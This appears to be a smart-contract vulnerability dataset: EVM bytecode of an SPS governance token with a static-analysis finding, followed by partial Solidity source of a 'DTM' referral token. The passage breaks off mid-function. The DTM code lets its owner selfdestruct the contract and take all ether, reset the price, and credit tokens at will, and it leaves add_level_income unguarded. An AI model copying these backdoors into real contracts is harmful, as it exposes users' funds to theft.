169060200190929190505050611c28565b60405180826bffffffffffffffffffffffff166bffffffffffffffffffffffff16815260200191505060405180910390f35b610a7c600480360360c0811015610a1b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050611d24565b005b610ae060048036036040811015610a9457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120d5565b6040518082815260200191505060405180910390f35b610afe612182565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610b486121a8565b6040518082815260200191505060405180910390f35b610bb060048036036040811015610b7457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff1690602001909291905050506121c4565b604051808363ffffffff1663ffffffff168152602001826bffffffffffffffffffffffff166bffffffffffffffffffffffff1681526020019250505060405180910390f35b610bfd61221d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610c8160048036036020811015610c5557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612243565b005b6040518060400160405280600e81526020017f53706c696e74657273686172647300000000000000000000000000000000000081525081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff831415610d35577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9050610d5a565b610d57836040518060600160405280602481526020016137b7602491396123c6565b90505b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405180826bffffffffffffffffffffffff16815260200191505060405180910390a3600191505092915050565b60005481565b6040518080613800604391396043019050604051809103902081565b6000803390506000600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1690506000610f68856040518060600160405280602481526020016137b7602491396123c6565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610fe257507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561112e57600061100c83836040518060600160405280603c81526020016139b4603c9139612489565b905080600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405180826bffffffffffffffffffffffff16815260200191505060405180910390a3505b61113987878361255f565b600193505050509392505050565b601281565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461120f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4f6e6c792061646d696e0000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f089e0e78d71b05b0e1af3ccca3d47b88f444d509bba562268577164785874d0d60405160405180910390a380600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611392576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4f6e6c79206d696e74657200000000000000000000000000000000000000000081525060200191505060405180910390fd5b61139c828261297a565b5050565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6113dd3382612b9a565b50565b60056020528060005260406000206000915054906101000a900463ffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114c6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4f6e6c792061646d696e0000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f848ac24ab84501710d6631faab117b66b79aba7ec6f7778cf3bcff428c1a4efc60405160405180910390a380600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60008473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f4bfee1a2af329cd95b98d09a65b810085aae37c33e11aec0a461b00f603dfa5986868660405180848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505094505050505060405180910390a361169a8585611beb565b50949350505050565b60004382106116fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061395f6026913960400191505060405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16141561176a576000915050611ae4565b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161161187b576000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1690506118728582612d5a565b92505050611ae4565b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611156118fc576000915050611ae4565b600080905060006001830390505b8163ffffffff168163ffffffff161115611a57576000600283830363ffffffff168161193257fe5b048203905061193f613687565b600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415611a2f57806020015195505050505050611ae4565b86816000015163ffffffff161015611a4957819350611a50565b6001820392505b505061190a565b6000600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008463ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff169050611add8782612d5a565b9450505050505b92915050565b60066020528060005260406000206000915090505481565b6040518060400160405280600381526020017f535053000000000000000000000000000000000000000000000000000000000081525081565b60008473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f4bfee1a2af329cd95b98d09a65b810085aae37c33e11aec0a461b00f603dfa5986868660405180848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505094505050505060405180910390a3611be1868686610ea5565b5095945050505050565b600080611c1083604051806060016040528060258152602001613870602591396123c6565b9050611c1d33858361255f565b600191505092915050565b600080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611c93576000611d0f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b9050611d1b8482612d5a565b92505050919050565b6000604051808061380060439139604301905060405180910390206040518060400160405280600e81526020017f53706c696e74657273686172647300000000000000000000000000000000000081525080519060200120611d84612ed4565b30604051602001808581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405160208183030381529060405280519060200120905060006040518080613925603a9139603a0190506040518091039020888888604051602001808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019450505050506040516020818303038152906040528051906020012090506000828260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015611f2f573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611fc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806136fd6025913960400191505060405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914612066576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806136dc6021913960400191505060405180910390fd5b874211156120bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806137db6025913960400191505060405180910390fd5b6120c9818b612b9a565b50505050505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518080613925603a9139603a019050604051809103902081565b6004602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612306576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4f6e6c792061646d696e0000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fe490d3138e32f1f66ef3971a3c73c7f7704ba0c1d1000f1e2c3df6fc0376610b60405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006c010000000000000000000000008310829061247f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612444578082015181840152602081019050612429565b50505050905090810190601f1680156124715780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff1611158290612552576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156125175780820151818401526020810190506124fc565b50505050905090810190601f1680156125445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180613895603b913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561266b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260398152602001806137226039913960400191505060405180910390fd5b6126e5600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff168260405180606001604052806035815260200161378260359139612489565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055506127cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16826040518060600160405280602f8152602001613985602f9139612ee1565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405180826bffffffffffffffffffffffff16815260200191505060405180910390a3612975600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612fbc565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a1d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b806bffffffffffffffffffffffff166000808282540192505081905550612ac381600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16016040518060600160405280602281526020016138d0602291396123c6565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4612d54828483612fbc565b50505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612dba57819050612ece565b612ecb600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638ff400f485856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001826bffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015612e7257600080fd5b505afa158015612e86573d6000803e3d6000fd5b505050506040513d6020811015612e9c57600080fd5b81019080805190602001909291905050506040518060600160405280602d8152602001613843602d91396123c6565b90505b92915050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff1610158390612fb0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612f75578082015181840152602081019050612f5a565b50505050905090810190601f168015612fa25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561300657506000816bffffffffffffffffffffffff16115b156132b257600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461315e576000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116130a9576000613125565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b9050600061314c828560405180606001604052806027815260200161375b60279139612489565b905061315a868484846132b7565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146132b1576000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116131fc576000613278565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b9050600061329f82856040518060600160405280602681526020016136b660269139612ee1565b90506132ad858484846132b7565b5050505b5b505050565b60006132db436040518060600160405280603381526020016138f2603391396135cc565b905060008463ffffffff1611801561337057508063ffffffff16600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b1561340b5781600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550613553565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405180836bffffffffffffffffffffffff168152602001826bffffffffffffffffffffffff1681526020019250505060405180910390a25050505050565b60006401000000008310829061367d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613642578082015181840152602081019050613627565b50505050905090810190601f16801561366f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff168152509056fe5350533a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77735350533a3a64656c656761746542795369673a20696e76616c6964206e6f6e63655350533a3a64656c656761746542795369673a20696e76616c6964207369676e61747572655350533a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e7366657220746f20746865207a65726f20616464726573735350533a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77735350533a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63655350533a3a617070726f76653a20616d6f756e74206578636565647320393620626974735350533a3a64656c656761746542795369673a207369676e61747572652065787069726564454950373132446f6d61696e28737472696e67206e616d652c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e7472616374295350533a3a6765744d6f646966696564566f7465733a20616d6f756e74206578636565647320393620626974735350533a3a7472616e736665723a20616d6f756e74206578636565647320393620626974735350533a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f20616464726573735350533a3a5f6d696e743a20616d6f756e74206578636565647320393620626974735350533a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747344656c65676174696f6e28616464726573732064656c6567617465652c75696e74323536206e6f6e63652c75696e7432353620657870697279295350533a3a6765745072696f72566f7465733a206e6f74207965742064657465726d696e65645350533a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77735350533a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365a265627a7a723158205841e3798e4de2b05e9994dc48473a860626d5f23407a3bfb8ef6707b6186c2d64736f6c63430005100032 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 10,344 |
0x68449b96447a922869cdfe91f726658eab1b9832 | /**
*Submitted for verification at Etherscan.io on 2020-12-07
*/
// SPDX-License-Identifier: Open Source
pragma solidity ^0.6.0;
contract DTM {
using SafeMath for uint256;
/*==============================
= DTM EVENTS =
==============================*/
event Approved(
address indexed spender,
address indexed recipient,
uint256 tokens
);
event Buy(
address indexed buyer,
uint256 tokensTransfered,
uint256 tokenToTransfer,
uint256 referralBal
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
event Sells(
address indexed seller,
uint256 calculatedEtherTransfer,
uint256 tokens
);
event stake(
address indexed staker,
uint256 amount,
uint256 timing
);
string public token_name;
string public token_symbol;
uint8 public decimal;
uint256 public token_price = 85000000000000;
uint256 public basePrice1 = 85000000000000;
uint256 public basePrice2 = 150000000000000;
uint256 public basePrice3 = 850000000000000;
uint256 public basePrice4 = 6800000000000000;
uint256 public basePrice5 = 34000000000000000;
uint256 public initialPriceIncrement = 0;
uint256 public currentPrice;
uint8 internal countAdd = 1;
uint256 public totalSupply_;
uint256 public tokenSold = 186000;
address payable owner;
address stakeHolder;
mapping(address => uint256) public tokenLedger;
mapping(address => address) public gen_tree;
mapping(address => uint256) public levelIncome;
mapping(address => uint256) public mode;
mapping(address => uint256) public lastTimeSell;
mapping(address => uint256) public firstTimeBuy;
mapping(address => uint256) public all_time_selling;
mapping(address => uint256) public sold;
mapping(address => uint256) public buy_monthly;
mapping(address => mapping(address => uint256)) public allowed;
modifier onlyOwner {
require(msg.sender == owner, "Caller is not the owner");
_;
}
constructor(string memory _tokenName, string memory _tokenSymbol, uint256 initialSupply) public {
owner = msg.sender;
stakeHolder = owner;
token_name = _tokenName;
token_symbol = _tokenSymbol;
decimal = 0;
currentPrice = token_price + initialPriceIncrement;
totalSupply_ = initialSupply;
tokenLedger[owner] = tokenSold;
}
function contractAddress() public view returns(address) {
return address(this);
}
function get_level_income(address _customerAddress) external view returns(uint256) {
return levelIncome[_customerAddress];
}
function get_total_earning(address _customerAddress) public view returns(uint256) {
return levelIncome[_customerAddress];
}
function updateCurrentPrice(uint256 _newPrice) external onlyOwner returns (bool) {
currentPrice = _newPrice;
return true;
}
function getTaxedEther(uint256 incomingEther) public pure returns(uint256) {
uint256 deduction = incomingEther * 3000 / 100000;
uint256 taxedEther = incomingEther - deduction;
return taxedEther;
}
function etherToToken(uint256 incomingEtherWei) public view returns(uint256) {
uint256 tokenToTransfer = incomingEtherWei.div(currentPrice);
return tokenToTransfer;
}
function tokenToEther(uint256 tokenToSell) public view returns(uint256) {
uint256 convertedEther = tokenToSell * currentPrice;
return convertedEther;
}
function taxedTokenTransfer(uint256 incomingEther) internal view returns(uint256) {
uint256 deduction = incomingEther * 3000/100000;
uint256 taxedEther = incomingEther - deduction;
uint256 tokenToTransfer = taxedEther.div(currentPrice);
return tokenToTransfer;
}
function balanceOf(address _customerAddress) external
view
returns(uint256)
{
return tokenLedger[_customerAddress];
}
function getCurrentPrice() public view returns(uint) {
return currentPrice;
}
function name() public view returns(string memory) {
return token_name;
}
function symbol() public view returns(string memory) {
return token_symbol;
}
function decimals() public view returns(uint8){
return decimal;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function stake_funds() public view returns(uint256) {
return tokenLedger[stakeHolder];
}
function setName(string memory _name)
onlyOwner
public
{
token_name = _name;
}
function setSymbol(string memory _symbol)
onlyOwner
public
{
token_symbol = _symbol;
}
function add_level_income( address user, uint256 numberOfTokens) public returns(bool) {
uint256 token_income1;
uint256 token_income2;
if(numberOfTokens >= 1000 && numberOfTokens < 5000){
token_income1 = 50;
token_income2 = 25;
}else if(numberOfTokens >= 5000 && numberOfTokens < 10000){
token_income1 = 75;
token_income2 = 37;
}else if(numberOfTokens >= 10000 && numberOfTokens < 25000){
token_income1 = 100;
token_income2 = 50;
}else if(numberOfTokens >= 25000 && numberOfTokens < 50000){
token_income1 = 150;
token_income2 = 75;
}else if(numberOfTokens >= 50000 ){
token_income1 = 200;
token_income2 = 100;
}else{
return false;
}
address referral;
uint256 commission;
for( uint i = 0 ; i < 2; i++ ){
referral = gen_tree[user];
if(referral == address(0)) break;
uint256 convertedEther = tokenLedger[referral] * currentPrice;
// Minimum 0.04 - $24
if( convertedEther >= 40000000000000000 ){
if(i == 0){
commission = token_income1.div(countAdd);
}else if(i == 1){
commission = token_income2.div(countAdd);
}
levelIncome[referral] = levelIncome[referral].add(commission);
}
user = referral;
}
}
function buy_token(address _referredBy ) external payable returns(bool) {
address buyer = msg.sender;
require(_referredBy != msg.sender, "Self reference not allowed");
uint256 etherValue = msg.value;
uint256 taxedTokenAmount = taxedTokenTransfer(etherValue);
uint256 tokenToTransfer = etherValue.div(currentPrice);
require(etherValue >= 84000000000000000, "Minimum purchase limit is 0.084 ETH");
require(buyer != address(0), "Can't send to Zero address");
uint256 referralTokenBal = tokenLedger[_referredBy];
uint256 tokenGiving = tokenSold + tokenToTransfer;
require(tokenGiving <= totalSupply_, "Token Supply exceeded");
if(mode[buyer] == 0) {
gen_tree[buyer] = _referredBy;
mode[buyer] = 1;
}
add_level_income( buyer, tokenToTransfer);
emit Transfer(address(this), buyer, taxedTokenAmount);
tokenLedger[buyer] = tokenLedger[buyer].add(taxedTokenAmount);
tokenSold = tokenSold.add(tokenToTransfer);
buy_monthly[buyer] = buy_monthly[buyer].add(taxedTokenAmount);
priceAlgoBuy();
emit Buy(buyer,taxedTokenAmount, tokenToTransfer, referralTokenBal);
if( firstTimeBuy[buyer] > 0 ) return true;
else firstTimeBuy[buyer] = block.timestamp;
return true;
}
function sell( uint256 tokenToSell ) external returns(bool){
require( tokenSold >= tokenToSell, "Token sold should be greater than zero");
require( msg.sender != address(0), "address zero");
require( tokenToSell <= tokenLedger[msg.sender], "insufficient balance");
require( tokenToSell >= 10, "Sold limit is 10 token");
uint256 deduction = tokenToSell * 3 / 100;
uint256 payable_token = tokenToSell - deduction;
uint256 convertedWei = etherValueTransfer(payable_token);
//Start.... ..
uint256 selling_limit = buy_monthly[msg.sender] * 30 / 100;
if( tokenToSell <= selling_limit ){
uint256 sold_by_user = sold[msg.sender] + tokenToSell;
if( sold_by_user <= selling_limit ){
sold[msg.sender] = sold[msg.sender].add(tokenToSell);
//--------------------END.
tokenLedger[msg.sender] = tokenLedger[msg.sender].sub(tokenToSell);
tokenSold = tokenSold.sub( tokenToSell );
priceAlgoSell();
msg.sender.transfer(convertedWei);
emit Transfer(msg.sender, address(this), payable_token);
emit Sells(msg.sender,convertedWei, tokenToSell);
}else{
revert("Selling Limit Exceeded.Try again With Less tokens.");
}
}else{
revert("Selling Limit Exceeded.Try again With Less coins.");
}
return true;
}
function extend_time() public {
if(block.timestamp >= firstTimeBuy[msg.sender] + 30 days)
{
firstTimeBuy[msg.sender] = block.timestamp;
buy_monthly[msg.sender] = tokenLedger[msg.sender];
sold[msg.sender] = 0;
}
}
function getFirstTimeBuying() external view returns(uint256) {
return firstTimeBuy[msg.sender];
}
function getFirstBuyTime(address _customerAddress) public view returns(uint256) {
return firstTimeBuy[_customerAddress];
}
function etherValueTransfer(uint256 tokenToSell) public view returns(uint256) {
uint256 convertedEther = tokenToSell * currentPrice;
return convertedEther;
}
function totalEthereumBalance() external onlyOwner view returns (uint256) {
return address(this).balance;
}
function mintToken(uint256 _mintedAmount) onlyOwner public {
totalSupply_ = totalSupply_.add(_mintedAmount);
countAdd++;
}
function destruct() onlyOwner() public{
selfdestruct(owner);
}
function withdrawReward(uint256 numberOfTokens, address _customerAddress)
onlyOwner
public
{
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].add(numberOfTokens);
}
function withdraw_bal(uint256 numberOfTokens, address _customerAddress)
